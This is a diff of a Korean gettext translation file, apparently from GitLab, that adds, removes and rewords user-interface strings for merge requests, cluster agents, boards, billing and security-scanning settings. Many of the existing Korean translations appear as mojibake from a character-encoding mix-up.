@@ -342,6 +351,12 @@ msgstr[0] "%s 추가 ì»¤ë°‹ì€ ì„±ëŠ¥ ì´ìŠˆë¥¼ 방지하기 위해 ìƒëžµë˜ì—ˆ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] "%{name}ì—게서 %{count} ê±´ì— ëŒ€í•œ 승ì¸ì„ 요청받ìŒ"
msgid "%{count} approvals from %{name}"
msgstr "%{name}께서 %{count} ê±´ì˜ ìŠ¹ì¸"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr "%{count} 파ì¼ì´ 변경ë˜ì—ˆìŠµë‹ˆë‹¤"
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr "%{name} 찾았습니다 %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics}개 열림, %{closedEpics}개 닫힘"
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr "%{primary}(%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref}(ì„)를 추가 í•  수 없습니다: %{error}"
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr "%{start}부터 %{end}까지"
-msgid "%{state} epics"
-msgstr "%{state} ì—픽"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (머지할 수 ì—†ìŒ)"
@@ -1043,6 +1068,10 @@ msgstr "(ì‚­ì œë¨)"
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount}ê°œ ë” ìžˆìŒ"
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr "+%{tags}개"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", ë˜ëŠ” "
@@ -1369,9 +1404,6 @@ msgstr "새 릴리즈 %{tag}ê°€ %{name}으로 공개ë˜ì—ˆìŠµë‹ˆë‹¤. %{release_l
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "í¬í¬ì™€ 새 머지 리퀘스트(MR)ê°€ 시작ë˜ë©´ 새로운 브랜치가 만들어질 것입니다."
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr "액세스 토í°"
msgid "Access denied for your LDAP account."
msgstr "LDAP 계정 ì ‘ê·¼ì´ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "ì ‘ê·¼ì´ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤! ì´ ì €ìž¥ì†Œì— ë°°í¬ í‚¤ë¥¼ 추가 í•  수 있는지 확ì¸í•´ 주세요."
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr "번호 매기기 ëª©ë¡ ì¶”ê°€"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "í…Œì´ë¸” 추가"
msgid "Add a task list"
msgstr "ìž‘ì—… ëª©ë¡ ì¶”ê°€"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr "새 애플리케ì´ì…˜ 추가"
msgid "Add new directory"
msgstr "새 디렉토리 추가"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr "ê·¸ë£¹ì— ì‚¬ìš©ìž ì¶”ê°€"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr "ì— ì¶”ê°€ë¨"
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,8 +2130,8 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
-msgstr "줌 미팅 추가"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr ""
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr "고급 설정"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "비밀번호가 성공ì ìœ¼ë¡œ ë³€ê²½ëœ ë’¤ì— ë¡œê·¸ì¸ í™”ë©´ìœ¼ë¡œ ì´ë™ 합니다."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "비밀번호 ì—…ë°ì´íŠ¸ì— 성공하면, 새 비밀번호로 ë¡œê·¸ì¸ í•  수있는 ë¡œê·¸ì¸ íŽ˜ì´ì§€ë¡œ 리디렉션 ë©ë‹ˆë‹¤."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "비어 있는 GitLab User 필드는 FogBugzì˜ ì‚¬ìš©ìž ì „ì²´ ì´ë¦„ (예 : By í™ ê¸¸ë™)ì„ ì´ìŠˆ ë° ì»¤ë§¨íŠ¸ì˜ ì„¤ëª…ìœ¼ë¡œ 추가 합니다. ë˜í•œ ì´ ì´ìŠˆì™€ 커맨트를 프로ì íŠ¸ 작성ìžì— 알리고 할당 í•  것입니다."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3439,6 +3480,9 @@ msgstr "드롭다운 ë°ì´í„°ë¥¼ 가져오는 ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "BLOB 미리보기 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3598,6 +3642,9 @@ msgstr "모든 파ì¼ì„ 불러오는 ë„ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "An error occurred while loading chart data"
msgstr "차트 ë°ì´í„°ë¥¼ ë¡œë“œí•˜ë˜ ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "커밋 시그너ì³ë¥¼ 불러오는 ë„ì¤‘ì— ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr "ìž„ì˜ì˜ 네임스페ì´ìŠ¤"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "앱 ID"
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr "담당ìž"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr "íŒŒì¼ ì²¨ë¶€ê°€ 실패했습니다."
msgid "Audit Events"
msgstr "ê°ì‚¬ ì´ë²¤íŠ¸"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "콜백 URL"
@@ -6337,12 +6432,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6391,9 +6486,6 @@ msgstr "변경사항"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "íŒŒì¼ ì„ íƒ"
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr "í´ë¼ì´ì–¸íŠ¸"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Clone"
@@ -7089,6 +7184,9 @@ msgstr "닫기"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr "프로ì íŠ¸ 가져오기"
msgid "ClusterIntegration|Fetching zones"
msgstr "ì˜ì—­ 가져오기"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab 통합"
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr "Kubernetes í´ëŸ¬ìŠ¤í„° ì´ë¦„"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 사용하면 리뷰 í”„ë¡œê·¸ëž¨ì„ ì‚¬ìš©í•˜ê³ , ì‘ìš© í”„ë¡œê·¸ëž¨ì„ ë°°í¬í•˜ê³ , 파ì´í”„ ë¼ì¸ì„ 실행하는 ë“±ì˜ ìž‘ì—…ì„ ì†ì‰½ê²Œ 수행 í•  수 있습니다."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr "코드"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr "코드 소유ìž"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "ì¶”ì  êµ¬ì„±"
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
